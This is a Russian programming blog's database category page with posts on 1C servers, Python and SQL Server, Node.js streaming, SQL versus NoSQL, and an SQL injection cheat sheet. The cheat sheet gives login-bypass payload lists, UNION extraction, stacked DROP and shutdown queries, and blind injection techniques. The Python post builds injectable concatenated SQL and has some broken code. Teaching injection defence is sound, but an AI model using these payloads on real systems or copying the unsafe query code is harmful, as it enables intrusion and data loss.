Category: Базы данных

19
Июн
2020

👨‍💻️ Как выбрать сервер для 1С

Рассказываем, как выбрать сервер для продуктов 1С в зависимости от числа активных пользователей и других требований к системе.

Итак, вам нужно определиться с оборудованием для 1С. Для начала требуется определить параметры серверного и клиентского оборудования. Обсудим, что влияет на их выбор:

  • Количество одновременно работающих в системе пользователей.
  • Размер базы данных с учетом потенциального роста.
  • Особенности нагрузки, требования к отказоустойчивости.

Обычно число пользователей системы является ключевым параметром, определяющим остальные.

В зависимости от требований необходимо выбрать:

  • Дисковый массив: объем, пропускная способность при считывании и записи данных.
  • Процессор: количество ядер и частота.
  • Оперативная память: объём и частота.
  • Требование к скорости выполнения ключевых операций. Например: проверка остатков в панели менеджера за 0.3 секунды, формирование супер-отчета не более чем за минуту, расчет данных для утренней выписки путевых листов за ночь и т. п.

Расчёт параметров доступен на сайте 1С. В частности, там приведена следующая таблица зависимости характеристик от числа пользователей:

Рекомендуемые параметры с сайта 1С
Рекомендуемые параметры с сайта 1С

Вячеслав Гилёв в посте Рекомендации по процессорам при подборе серверного оборудования для 1С указывает на важность выбора процессора, в частности обращая внимание, что одним из ключевых факторов является частота:

Важно брать не самый дорогой процессор, а процессор с максимальной частотой. В рамках одной серии одного поколения процессоров действительно самый дорогой процессор будет иметь максимальную частоту. Но при сравнении процессоров разных серий стоимость при одной частоте может отличаться в разы.

При этом при покупке сервера стоимость процессора составляет примерно 10% от всего сервера, а вклад в общую производительность может достигать 50%.

Инженер Дмитрий Малышев указывает, что системные требования на сайте 1С являются минимальными и для работы рекомендует несколько отличающийся набор характеристик оборудования для серверов базы данных и 1С.

Рекомендации Дмитрия Малышева
Рекомендации Дмитрия Малышева

Общие рекомендации Малышева следующие:

  • Между серверами для обеспечения отказоустойчивости использовать сетевые интерфесы 2х10Гб.
  • На сервере СУБД не должно быть никаких других задач и ролей, кроме сервера СУБД.
  • На сервере 1С не устанавливать роль терминального сервера.
  • Все сервера должны находиться в одной подсети. Виртуализацию оборудования нужно по возможности избегать.
  • Файлы, от которых зависит максимальная производительность системы (а это файлы и логи БД, файлы tempdb для MS SQL или pg_xlog для PostgreSQL, файлы кластера 1С (srvinfo), папка временных файлов профиля пользователя службы 1С) необходимо размещать на PCIe SSD и/или NVMe.

Если есть повышенные требования к отказоустойчивости системы, надо подумать о резервировании узлов. Что и как резервировать – определяется напрямую требованиями и финансовыми возможностями бизнеса.

При выборе сервера для размещения конфигурации 1С уже не стоит выбор – физический сервер или виртуальный. Значимых отличий по скорости нет, а удобство и отказоустойчивость при использовании виртуальных машин очевидны даже ярым скептикам.

Однако выбор самой конфигурации сервера и необходимых выделяемых ресурсов часто бывает нетривиальной задачей так как. отсутствует официальная методика расчета нагрузки от компании разработчика «1С». Казалось бы, что сложного – выбираем объем усредненных ресурсов и умножаем на количества одновременно работающих пользователей. Но тут есть ряд моментов.

База может работать как в файловом режиме, где на скорость влияет в большей степени отклик дисковой подсистемы сервера, так и в клиент-серверном режиме, где также добавляется неизвестные в виде неоптимизированных запросов к СУБД, схемы размещения самого сервера предприятия 1С и тонких/толстых клиентов.

Также присутствует тонкости в виде взаимных блокировок при одновременной работе нескольких пользователей в одной базе, ограничений платформы 1С и тщательной настройки физических серверов для оптимальной производительности виртуальных машин.

На наш взгляд, наиболее оптимальном вариантом являться поднятие тестового сервера с примерными показателями такими как 2 Гб оперативной памяти в расчете на одного работающего пользователя, использование для размещения баз SSD дисков Enterprise уровня и выделение 2-4 виртуальных процессоров с высокой тактовой частотой. После чего производится сравнение скорости работы 1С в файловом и клиент-серверном варианте и при необходимости изменение выделяемых ресурсов.

Алексеев Михаил, CIO, группа компаний «УниКС», http://unics.online/

Конечно, можно строить систему самостоятельно. Но если нужно надёжное готовое решение, достаточно арендовать физический выделенный сервер для 1С в одном из защищенных дата-центров. В качестве примера рассмотрим конфигурации серверов 1С, предлагаемых компанией Selectel.

Результаты анализа <a href="https://proglib.io/w/4c221cb5" target="_blank">предложений Selectel</a>
Результаты анализа предложений Selectel
Всё больше компаний выбирают использование облачных решений вместо обычных серверов. Cloud-решения обычно обходятся дешевле, не нужно заниматься поддержкой «железа», к тому же можно оплачивать ежемесячную подписку вместо покупки серверов, что в том числе позволяет легко масштабироваться.

Однако в случае с корпоративными системами, содержащими конфиденциальную информацию, такими как CRM, ERP, учетными системами – в частности, 1С – компании всё же предпочитают использовать серверные решения как более безопасные и привычные.

Александр Смирнов, консультант по управлению проектами, http://ibtraining.ru/

Для нагрузки свыше 100 пользователей Selectel поможет выбрать конфигурацию под ваши требования. На соответствующей странице можно ввести сведения о требуемой системе (число пользователей, база данных, лицензии), и сайт автоматически рассчитает стоимость.

09
Июн
2020

18 июня, онлайн: Online Ruby Meetup №12

Поговорят про проблемы с производительностью Ruby-приложений, как писать простой и поддерживаемый код, CQRS-паттерне и использовании PostgreSQL в проектах.
— Читать дальше «Online Ruby Meetup №12»

18
Апр
2020

Работаем с SQL Server с помощью Python

Пишем класс на Python для работы с MS SQL Server и другими БД с интерфейсом ODBC. Использование класса рассмотрим на примере импорта информации из множества csv-файлов.

Ограничения SQL берут своё начало в декларативности языка – мы
указываем SQL что мы хотим получить, а SQL извлекает нам это из указанной базы. Для простой обработки данных этого достаточно. Но что делать, если мы хотим большего? Приведённый ниже класс – наша основа для оптимизации сервера MS SQL, далее мы дополним его несколькими методами. Сторонний модуль pyodbc упрощает доступ к базам данных через программный интерфейс ODBC (Open Database Connectivity).

            import pyodbc
from datetime import datetime

class Sql:
    def __init__(self, database, server="XXVIR00012,55000"):
        self.cnxn = pyodbc.connect("Driver={SQL Server Native Client 11.0};"
                                   "Server="+server+";"
                                   "Database="+database+";"
                                   "Trusted_Connection=yes;")
        self.query = "-- {}\n\n-- Made in Python".format(datetime.now()
                                                         .strftime("%d/%m/%Y"))
        

Чтобы подключиться к базе данных из Python с помощью этого класса, достаточно создать объект и передать имя базы данных, к примеру, sql = Sql('database123').

Давайте разберёмся, что происходит внутри класса. В метод инициализации __init__ мы передаём строку server="XXVIR00012,55000". Это строковое значение – имя нашего сервера, которое можно найти в диалоговом окне "Connect
to Server"
или в верхней части окна в среде MS SQL в Server Management Studio:

Диалоговое окно Connect to Server
Диалоговое окно Connect to Server

Все трудности подключения берёт на себя модуль pyodbc. Нам лишь нужно передать строку подключения в функцию pyodbc.connect().

            self.cnxn = pyodbc.connect("Driver={SQL Server Native Client 11.0};"
                           "Server="+self.server+";"
                           "Database="+self.database+";"
                           "Trusted_Connection=yes;")
        

Подробнее о передаваемых в ODBC-интерфейс значениях читайте в официальном хелпе.

В конце класса создаётся
строка, обновляемая с каждым передаваемым запросом:

            self.query = "-- {}\n\n-- Made in Python".format(datetime.now()
                                              .strftime("%d/%m/%Y"))
        

Это позволяет нам собирать
логи и создавать более читабельный вывод. Для записи времени мы используем стандартную библиотеку datetime.

Компоненты

Есть несколько важных
функций, направленных на передачу данных в базу данных или из неё. Для
примера мы возьмём каталог, в котором имеется множество однотипных csv-файлов.


В текущем проекте мы хотим:

  • Импортировать файлы в SQL-server.
  • Объединить их в одну таблицу.
  • Динамически создать несколько таблиц на основе категорий внутри столбца.
            import sys
sys.path.insert(0, r'C:\\User\medium\pysqlplus\lib')

import os
import pandas as pd

from data import Sql

sql = Sql('database123')

directory = r'C:\\User\medium\data\\'  # место хранения сгенерированных данных

file_list = os.listdir(directory)  # определить список всех файлов

for file in file_list:
    df = pd.read_csv(directory+file)
    sql.push_dataframe(df, file[:-4])
    
# конвертируем список имен из file_list в имена таблиц
table_names = [x[:-4] for x in file_list]

sql.union(table_names, 'generic_jan')  # объединяем файлы в одну таблицу
sql.drop(table_names)

# определяем список категорий в colX, например ['hr', 'finance', 'tech', 'c_suite']
sets = list(sql.manual("SELECT colX AS 'category' FROM generic_jan GROUP BY colX", response=True)['category'])

for category in sets:
    sql.manual("SELECT * INTO generic_jan_"+category+" FROM generic_jan WHERE colX = '"+category+"'")
        

Как мы видим, кроме инициализации в класс Sql нужно добавить методы push_dataframe и manual, union и drop. Опишем их.

Метод push_dataframe

Функция push_dataframe позволит поместить в базу данных датафрейм Pandas.

            def push_dataframe(self, data, table="raw_data", batchsize=500):
    cursor = self.cnxn.cursor()      # создаем курсор
    cursor.fast_executemany = True   # активируем быстрое выполнение

    # создаём заготовку для создания таблицы (начало)
    query = "CREATE TABLE [" + table + "] (\n"

    # итерируемся по столбцам
    for i in range(len(list(data))):
        query += "\t[{}] varchar(255)".format(list(data)[i])  # add column (everything is varchar for now)
        # добавляем корректное завершение
        if i != len(list(data))-1:
            query += ",\n"
        else:
            query += "\n);"

    cursor.execute(query)  # запуск создания таблицы
    self.cnxn.commit()     # коммит для изменений

    # append query to our SQL code logger
    self.query += ("\n\n-- create table\n" + query)

    # вставляем данные в батчи
    query = ("INSERT INTO [{}] ({})\n".format(table,
                                              '['+'], ['  # берем столбцы
                                              .join(list(data)) + ']') +
             "VALUES\n(?{})".format(", ?"*(len(list(data))-1)))

    # вставляем данные в целевую таблицу
    for i in range(0, len(data), batchsize):
        if i+batchsize &gt; len(data):
            batch = data[i: len(data)].values.tolist()
        else:
            batch = data[i: i+batchsize].values.tolist()
        # запускаем вставку батча
        cursor.executemany(query, batch)
        self.cnxn.commit()
        

Это полезно, когда нужно
загрузить много файлов.

Метод manual

Метод manual используется выше как отдельно, так и внутри функций union и drop. Она позволяет упростить выполнение SQL-кода.

            def manual(self, query, response=False):
    cursor = self.cnxn.cursor()  # создаем курсор выполнения

    if response:
        return read_sql(query, self.cnxn)
    try:
        cursor.execute(query)  # execute
    except pyodbc.ProgrammingError as error:
        print("Warning:\n{}".format(error))

    self.cnxn.commit()
    return "Query complete."
        

Аргумент response даёт
возможность вставить в датафрейм исходящую информацию нашего запроса. Извлечь
все уникальные значения из colX в таблице generic_jan можно с помощью следующей строки:

            sets = list(sql.manual("SELECT colX AS 'category' FROM generic_jan GROUP BY colX", response=True)['category'])
        

Метод union

Теперь на основе метода manual создадим метод union:

            def union(self, table_list, name="union", join="UNION"):
    query = "SELECT * INTO ["+name+"] FROM (\n"
    query += f'\n{join}\n'.join(
                        [f'SELECT [{x}].* FROM [{x}]' for x in table_list]
                        )
    query += ") x"
    self.manual(query, fast=True)
        

Это «объединяющий» запрос с перебором списка имён таблиц из table_list .

Метод drop

Метод drop выполняет удаление таблиц:

            def drop(self, tables):
    if isinstance(tables, str):
        # если отдельная строка, переведем в список
        tables = [tables]

    for table in tables:
        # проверяем наличие таблицы и удаляем, если существует
        query = ("IF OBJECT_ID ('["+table+"]', 'U') IS NOT NULL "
                 "DROP TABLE ["+table+"]")
        self.manual(query)
        

Функция drop позволяет удалить одну или несколько таблицу, поместив
строку в tables, либо несколько таблиц, поместив туда же весь список.

Заключение

Сочетая описанные несложные методы мы значительно облегчили работу с большим количеством файлов в SQL Server. Если вас заинтересовала тема взаимодействия Python и SQL, почитайте наш пост «Как подружить Python и базы данных SQL. Подробное руководство». Успехов
в развитии!

06
Мар
2020

Обработка миллионов строк данных потоками на Node.js

Приходилось ли вам обрабатывать с помощью Node.js одновременно миллионы строк базы данных и выводить всё это на веб-страницу? Это непросто, но у нас есть готовое решение.

Попробуем решить описанную проблему со следующим стеком технологий:

  • Node.js
  • Sequelize (ORM-библиотека, основанная на промисах)
  • MariaDB

Что на клиенте – не имеет значения. Когда размер данных приближается к 4 Гб, Chrome в любом случае упадет.

Потоки

Очевидное решение проблемы большого объема данных – потоковая передача. Если вы попробуете отправить их одним большим куском, Node не справится.

Тут возникает первая большая проблема – Sequelize не поддерживает работу с потоками.

Вот так выглядит классический вызов библиотеки:

            await sequelize.authenticate();
const result = await sequelize.query(sql, { type: sequelize.QueryTypes.SELECT });
res.send(result);

        

Конечно, тут кое-что пропущено – вроде конфигурации базы данных и собственно определение вызова метода get() (откуда, например, приходит res?). Но вы, безусловно, разберетесь в этом самостоятельно.

Результат работы этого кода вполне предсказуем – Node падает. Вы можете, конечно, выделить больше памяти – max-old-space-size=8000, но вряд ли это можно назвать решением проблемы.

Попробуем вручную реализовать потоковую передачу данных:

            var Readable = stream.Readable;
var i = 1;
var s = new Readable({
    async read(size) {
        const result = await sequelize.query(
            sql + ` LIMIT 1000000 OFFSET ${(i - 1) * 1000000}`, { type: sequelize.QueryTypes.SELECT });
        this.push(JSON.stringify(result));
        i++;
        if (i === 5) {
            this.push(null);
        }
    }
});
s.pipe(res);

        

В этом примере мы знаем, сколько строк вернется из базы данных, отсюда строка if (i === 5). Это просто тест. Чтобы завершить поток, вы должны отправить null. Можно заранее получить значение count (количество строк).

Основная идея состоит в разделении одного большого запроса на несколько маленьких и потоковое получение отдельных чанков. Это работает, Node не падает от перегрузки, но работает очень долго. 3.5 Гб данных вы будете обрабатывать примерно 10 минут!


Нет ли другого – более быстрого – решения?

Коннектор для базы данных

Есть – это неблокирующий клиент MariaDB Node.js connector.

Вот так выглядит обычный запрос:

            const mariadb = require('mariadb');
const pool = mariadb.createPool({ host: "HOST", user: "USER", password: "PASSWORD", port: 3308, database: "DATABASE", connectionLimit: 5 });
let conn = await pool.getConnection();
const result = await conn.query(sql);
res.send(result);

        

Он уже достаточно быстрый, однако попробуем потоковый код:

            let conn = await pool.getConnection();
const queryStream = conn.queryStream(sql);
const ps = new stream.PassThrough();
const transformStream = new stream.Transform({
    objectMode: true,
    transform: function transformer(chunk, encoding, callback) {
        callback(null, JSON.stringify(chunk));
    }
});
stream.pipeline(
    queryStream,
    transformStream,
    ps,
    (err) => {
        if (err) {
            console.log(err)
            return res.sendStatus(400);
        }
    })
ps.pipe(res);

        

Выглядит загадочно, но тут не происходит ничего сложного. Мы просто создаем пайплайн для данных:

  • Поток queryStream – результат запроса к базе.
  • Поток transformStream – для отправки преобразованных в строки чанков (здесь можно использовать только строки и буферы).
  • Класс stream.PassThrough это реализация трансформирующего стрима.
  • Функция для обработки ошибок.

ps.pipe(res) – отправляет результаты обработки клиенту.


Это решение работает гораздо быстрее – те же данные передаются меньше, чем за 4 минуты без перегрузки Node.

Результат

Итак, если вам приходится работать с огромным количеством данных, у вас есть три пути:

  1. Использовать потоковую передачу.
  2. Подумать о введении пагинации – получать данные небольшими кусками.
  3. Убедить клиента, что в условиях современного веба это невозможно.

Как вы решаете подобные задачи?

27
Янв
2020

19 февраля, Липецк: митап Sportmaster Lab

IT-подразделение «Спортмастер» организует митап по веб-разработке в Липецке. Обсудят full stack не только в теории, но и на практике.
— Читать дальше «Митап Sportmaster Lab»

08
Янв
2020

11 типов современных баз данных: краткие описания, схемы и примеры БД

Любые данные где-то хранятся. Будь это интернет вещей или пароли в *nix. Показываем схемы основных типов баз данных, чтобы наглядно представить различия между ними.

Типы баз данных, называемых также моделям…

31
Дек
2019

SQL или NoSQL? А также самые сложные SELECT-запросы

Являются ли NoSQL базы будущим программирования? Или каждой технологии отведено своё место? Отвечаем на это в статье.

Типы NoSQL

NoSQL базы данных часто объединяют в единую группу как противоположность реляционным. Но между ними довольно сильное различие. Да и NoSQL не является конкурентом для классических реляционных баз.

Существует много типов NoSQL БД: ключ-значение, документные, графовые, поисковые, с широким столбцом и т. д. Детальное описание самых популярных можете прочесть в другой нашей статье.

Более того, конкретная база может использовать сразу несколько технологий. Например, AWS DynamoDB является одновременно документной, типом ключ-значение и с широким столбцом, а Azure Cosmos DB – графовой и документной. На рынке огромное количество баз, и такое разнообразие ставит трудную задачу перед архитекторами. В нашей статье мы постараемся помочь хотя бы с выбором между SQL и NoSQL.

Достоинства SQL

Чтобы сделать выбор, нужно вспомнить 3 нормальные формы реляционных баз, более сложные формы можно пока опустить:

1-я форма:

  • Информация в каждой ячейке должна быть неделима.
  • Строки должны быть уникальны и однозначно определены главным ключом.

2-я форма:

  • Все атрибуты в строке должны зависеть от ключа или от всех его полей, если ключ составной.

3-я форма:

  • Атрибуты не должны зависеть ни от каких других атрибутов кроме ключа.

Соблюдение этих правил даёт много преимуществ: минимизирует избыточность данных, исключает нежелательные вставки, редактирования и удаления, обеспечивает атомарность транзакций.

Для соблюдения условий нормализации данные необходимо хранить в разных таблицах, связанных между собой внешними ключами. Но когда разрабатывали реляционные базы, не особо представляли, насколько сильно могут разрастись данные. В современных реалиях классические базы сталкиваются с рядом проблем:

  • Для неструктурированных и полуструктурированных данных появляется необходимость добавлять данные в отдельные строки, а не во все. Эта задача усложняется произвольным типом добавляемых данных, что мешает соблюдать атомарность.
  • При объединении больших таблиц производительность может заметно снижаться.
  • При необходимости массово обновить данные в большом количестве связанных таблиц появляется место, тормозящее всю работу.

Разделение на большое число таблиц со сложными отношениями усложняет процесс разработки, а SQL-запросы могут становиться пугающими. Вот один из примеров, позволяющий выбрать из базы исследования близнецов, соответствующих критериям прохода в следующий этап:

            SELECT
        CONCAT(p1.id, p1.tvab) + 0 AS tvid,
        CONCAT(p1.christian_name, " ", p1.surname) AS Name,
        p1.postal_code AS Code,
        p1.city AS City,
        pg.abrev AS Area,
        IF(td.participation = "Aborted", "A", " ") AS A,
        p1.dead AS dead1,
        l.event AS event1,
        td.suspect AS tsuspect1,
        id.suspect AS isuspect1,
        td.severe AS tsevere1,
        id.severe AS isevere1,
        p2.dead AS dead2,
        l2.event AS event2,
        h2.nurse AS nurse2,
        h2.doctor AS doctor2,
        td2.suspect AS tsuspect2,
        id2.suspect AS isuspect2,
        td2.severe AS tsevere2,
        id2.severe AS isevere2,
        l.finish_date
FROM
        twin_project AS tp
        /* For Twin 1 */
        LEFT JOIN twin_data AS td ON tp.id = td.id
                  AND tp.tvab = td.tvab
        LEFT JOIN informant_data AS id ON tp.id = id.id
                  AND tp.tvab = id.tvab
        LEFT JOIN harmony AS h ON tp.id = h.id
                  AND tp.tvab = h.tvab
        LEFT JOIN lentus AS l ON tp.id = l.id
                  AND tp.tvab = l.tvab
        /* For Twin 2 */
        LEFT JOIN twin_data AS td2 ON p2.id = td2.id
                  AND p2.tvab = td2.tvab
        LEFT JOIN informant_data AS id2 ON p2.id = id2.id
                  AND p2.tvab = id2.tvab
        LEFT JOIN harmony AS h2 ON p2.id = h2.id
                  AND p2.tvab = h2.tvab
        LEFT JOIN lentus AS l2 ON p2.id = l2.id
                  AND p2.tvab = l2.tvab,
        person_data AS p1,
        person_data AS p2,
        postal_groups AS pg
WHERE
        /* p1 gets main twin and p2 gets his/her twin. */
        /* ptvab is a field inverted from tvab */
        p1.id = tp.id AND p1.tvab = tp.tvab AND
        p2.id = p1.id AND p2.ptvab = p1.tvab AND
        /* Just the sceening survey */
        tp.survey_no = 5 AND
        /* Skip if partner died before 65 but allow emigration (dead=9) */
        (p2.dead = 0 OR p2.dead = 9 OR
         (p2.dead = 1 AND
          (p2.death_date = 0 OR
           (((TO_DAYS(p2.death_date) - TO_DAYS(p2.birthday)) / 365)
            >= 65))))
        AND
        (
        /* Twin is suspect */
        (td.future_contact = 'Yes' AND td.suspect = 2) OR
        /* Twin is suspect - Informant is Blessed */
        (td.future_contact = 'Yes' AND td.suspect = 1
                                   AND id.suspect = 1) OR
        /* No twin - Informant is Blessed */
        (ISNULL(td.suspect) AND id.suspect = 1
                            AND id.future_contact = 'Yes') OR
        /* Twin broken off - Informant is Blessed */
        (td.participation = 'Aborted'
         AND id.suspect = 1 AND id.future_contact = 'Yes') OR
        /* Twin broken off - No inform - Have partner */
        (td.participation = 'Aborted' AND ISNULL(id.suspect)
                                      AND p2.dead = 0))
        AND
        l.event = 'Finished'
        /* Get at area code */
        AND SUBSTRING(p1.postal_code, 1, 2) = pg.code
        /* Not already distributed */
        AND (h.nurse IS NULL OR h.nurse=00 OR h.doctor=00)
        /* Has not refused or been aborted */
        AND NOT (h.status = 'Refused' OR h.status = 'Aborted'
        OR h.status = 'Died' OR h.status = 'Other')
ORDER BY
        tvid; 
        

Или вот такой запрос, выбирающий товары по критериям:

            SELECT
    products.id,
    products.name,
    price.link,
    price.discount,
    price.click_count,
    price.currency,
    price_currency.name,
    
    -- default currency is ruble
    (@ori_price:=price.price) AS price,

    -- convertation in dollars
    ROUND(price.price / {$course}, 2) AS dol_price,

    -- select minimal price for product
    (@min_price:=(
                SELECT MIN(price)
                FROM price
                WHERE product_id = products.id
                   && id != price.id
            )
    ) AS min_val,

    -- compare price
    -- " + 1 - 1"
    (@diff:= ROUND(
                    (
                        @max:=GREATEST(@ori_price + 1 - 1, @min_price + 1 - 1)
                        -
                        @min:=LEAST(@ori_price + 1 - 1, @min_price + 1 - 1)
                    ) / @min * 100, 1
                )
    ) AS diff,
    (IF(@ori_price + 1 - 1 <= @min_price + 1 - 1, @diff, -@diff)) AS diff

FROM products
    LEFT JOIN price          ON price.product_id = products.id
    LEFT JOIN price_currency ON price_currency.id = price.currency

WHERE products.archive = 0
ORDER BY products.date_add DESC 
        

Достоинства NoSQL

Существует два важных принципа, которые используются для решения проблем классических реляционных баз. Это использование денормализации и хранение данных на основе принципа ключ-значение.

Ключ-значение

Использование пар ключ-значение – один из самых распространённых способов проектирования нереляционных баз данных. Возможность использовать в качестве значения любой тип данных, будь то массив или документ, даёт огромную гибкость при работе с неструктурированными данными. Такой подход позволяет получать быстрый доступ к данным и хранить их в виде, необходимом для работы приложения.

Нетрудно заметить, что это полностью нарушает принципы нормализации, что приводит к ряду недостатков:

  • Трудно устанавливать какие-либо взаимосвязи между значениями или предотвращать дублирование данных.
  • База занимает больше места из-за необходимости хранить ключ для каждой ячейки, а изменения конкретного значения обходятся дороже.
  • Теряется возможность получать удобное представление большого числа данных.

Денормализация

Это намеренное добавление всех необходимых колонок и полей в одну таблицу с целью избежать объединения множества таблиц при обращении к данным. Естественно, это приводит к схожим недостаткам.

Вывод

Большинство NoSQL-баз на рынке спроектированы с целью максимально ускорить процесс чтения, и немаловажным фактором стала возможность безболезненного помещения их в распределённую сеть. Вертикальное расширение баз становится всё дороже и упирается в потолок возможностей железа, а распределение данных по множеству маленьких независимых серверов достаточно дёшево и может масштабироваться сколь угодно много.

Очевидно, что для коммерческих целей необходимы как реляционные, так и NoSQL базы данных, иногда обе сразу, в зависимости от потребностей. Если ваши данные чувствительны к дублированию и надежности, стоит выбирать классические реляционные базы. Если же важнее масштабируемость и скорость доступа, то лучшим выбором станет NoSQL.

А что вы думаете о SQL и NoSQL?

21
Дек
2019

Взламываем сайты: шпаргалка по SQL инъекциям

Даже в 2019 SQL инъекции остаются актуальной угрозой. Любому разработчику необходимо знать врага в лицо. Наша статья будет отличным подспорьем для этого.

Типы SQLi

Существует 5 основных типов SQL инъекций:

  1. Классическая (In-Band или Union-based). Самая опасная и редко встречающаяся сегодня атака. Позволяет сразу получать любые данные из базы.
  2. Error-based. Позволяет получать информацию о базе, таблицах и данных на основе выводимого текста ошибки СУБД.
  3. Boolean-based. Вместо получения всех данных, атакующий может поштучно их перебирать, ориентируясь на простой ответ типа true/false.
  4. Time-based. Похожа на предыдущую атаку принципом перебора, манипулируя временем отклика базы.
  5. Out-of-Band. Очень редкие и специфические типы атак, основанные на индивидуальных особенностях баз данных.

Далее мы разберем их детальней.

Уязвимые точки

Уязвимые точки для атаки находятся в местах, где формируется запрос к базе: форма аутентификации, поисковая строка, каталог, REST-запросы и непосредственно URL.

Защита от SQLi

Для каждого сервера и фреймворка есть свои тонкости и лучшие практики, но суть всегда одинакова.

Нельзя вставлять данные в запрос напрямую. Всегда обрабатывайте ввод отдельно и формируйте запрос исключительно из безопасных значений.

Создавайте белые списки: их значительно труднее обойти, чем черные. Все названия таблиц, полей и баз должны быть заданы конкретными значениями в вашей программе. Это касается и операторов.

Естественно, не забывайте про ограничение прав доступа к базе.

Тем не менее, кибербезопасность – это тот случай, когда понимание принципов нападения – лучший способ защиты.

Классические атаки

Самый простой пример критически уязвимого для SQLi кода выглядит следующим образом:


            userName = getRequestString("UserName");
request = "SELECT * FROM Users WHERE UserName = " + userName; 
        

Представляя такой антипример, можно понять принцип действия атак, которые мы рассмотрим ниже.

Комментирование

Использование однострочных комментариев позволяет игнорировать часть запроса, идущую после вашей инъекции. Например, ввод в уязвимое поле Username запроса admin’– позволит зайти на ресурс под администратором, потому что поверка пароля будет закомментирована. Конечно, сейчас такой тип уязвимости встречается очень редко, но помнить о ней стоит.

            SELECT * FROM members WHERE username = 'admin'--' AND password = 'password' 
        

Многострочные комментарии могут справится с проверкой или определить тип базы данных. Например, подобные запросы обойдут примитивный текстовый анализ:

            DROP/*some comment*/sampletable
DR/**/OP/*random comment to cheat*/sampletable
 
        

А некоторые особые комментарии позволят определить тип базы данных в целях дальнейшей эксплуатации уязвимостей:

            /*!Если поместить код в такой комментарий - он будет исполнен только в MYSQL.
Можно даже ограничить минимальную версию*/

такой запрос вернёт ошибку деления на ноль, если MYSQL сервер выше указанной версии
SELECT /*!!50100 1/0, */ 1 FROM tablename 

 
        

Манипуляции со строками

Существует ряд более продвинутых способов обходить черные списки. Например, против фильтра кавычек можно использовать конкатенацию строк:

            #SQL Server
SELECT login + '-' + password FROM members
#MySQL
SELECT CONCAT(login, password) FROM members 
        

В MySQL для обхода сложных паттернов можно представлять строки в шеснадцатиричном виде, с помощью функции HEX() или вводить их посимвольно:

            //0x633A5C626F6F742E696E69 == c:\boot.ini
SELECT CONCAT('0x','633A5C626F6F742E696E69'))

SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) 
        

Обход аутентификации

Есть стандартный словарь, содержащий в себе основные запросы, для обхода уязвимой формы аутентификации. Впервые его опубликовали лет 10 назад и регулярно дополняют. Не забудьте прогнать через него формы регистрации на своем сайте:

            ' or 1=1
' or 1=1--
' or 1=1#
' or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055 
        

Union injection

UNION это SQL-команда, позволяющая вертикально комбинировать данные из разных таблиц в одну. Это одна из самых популярных и опасных классических инъекций.

Допустим, на сайте есть список товаров с уязвимой строкой поиска. Тогда, подобрав правильное количество колонок и определив их название, через UNION можно вывести практически любые данные.

            SELECT name, price FROM products UNION ALL SELECT name, pass FROM members 

#Такой запрос позволит получить данные о таблицах и найти таблицу пользователей
UNION(SELECT TABLE_NAME, TABLE_SCHEMA FROM information_schema.tables) 
        

Последовательные запросы

Если целевой сервис работает на SQL Server и ASP/PHP, либо на PostgreSQL и PHP, можно использовать простой знак ‘;’ для последовательного вызова вредоносных запросов:

            #Удаление таблицы
SELECT * FROM products WHERE productName = ""; DROP users--
#Выключение SQL Server
SELECT * FROM products WHERE productName = ""; shutdown –
 
        

Возможный урон

Конкретных примеров и нюансов довольно много, не будем перечислять все. Главное, помните, что комбинируя эти приёмы и различные специфические функции, атакующий может получить полный доступ к базе и даже командной строке.

Error-Based

Чтобы побороть этот тип атак, достаточно запретить вывод ошибок на проде. Тем не менее, давайте на примере разберем, чем вам может грозить игнорирование этой меры.

Последовательное выполнение следующих запросов к SQL Server, позволит определить в тексте ошибки названия столбцов:

            ' HAVING 1=1 --
' GROUP BY table.columnfromerror1 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
.....
' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 --
Если ошибки перестали появляться, значит столбцы закончились 
        

Слепые инъекции

В более-менее хорошо сделанном приложении атакующий не увидите ни ошибок, ни результата UNION-атаки. Тут приходит очередь действовать вслепую.

Условные выражения

Атаки с использованием IF и WHERE – основа слепого метода. Они являются одной из причин, почему используемые вами операторы должны быть закодированы в программе, а не генерироваться абы как. Синтаксис для разных баз будет отличаться:

            #MySQL
IF(condition,true-part,false-part)
#SQL Server
IF condition true-part ELSE false-part
#Oracle
BEGIN
IF condition THEN true-part; ELSE false-part; END IF; END;
#PostgreSQL
SELECT CASE WHEN condition THEN true-part ELSE false-part END; 
        

Boolean-based

Если атакующий все же может получить информацию о наличии или отсутствии ошибки из HTTP-статуса, в сервисе имеется уязвимость к обычной слепой атаке. Рассмотрим запрос, который позволит нам при помощи алгоритма бинарного поиска посимвольно определить название первой таблицы и в дальнейшем всех данных:

            TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND 
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND 
name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--
#Этот запрос говорит нам, что ASCII-значение первого символа больше 78 
#дальнейший перебор определит точное значение  
        

Time-Based

Если атакующий не наблюдает никаких отличий в ответах сервера, остается полностью слепая атака. Примером будет использование функций SLEEP или WAIT FOR DALAY:

            SELECT * FROM products WHERE id=1; WAIT FOR DELAY '00:00:15' 
        

Конечно, реальные примеры будут выглядеть примерно как boolean-based, только true и false атакующий будет отличать по времени отклика. Недостатки такого метода очевидны. Если выбрать слишком маленькую задержку, будет сильное влияние сторонних факторов типа пинга. Если слишком большую – атака займет очень много времени и её, скорее всего, остановят.

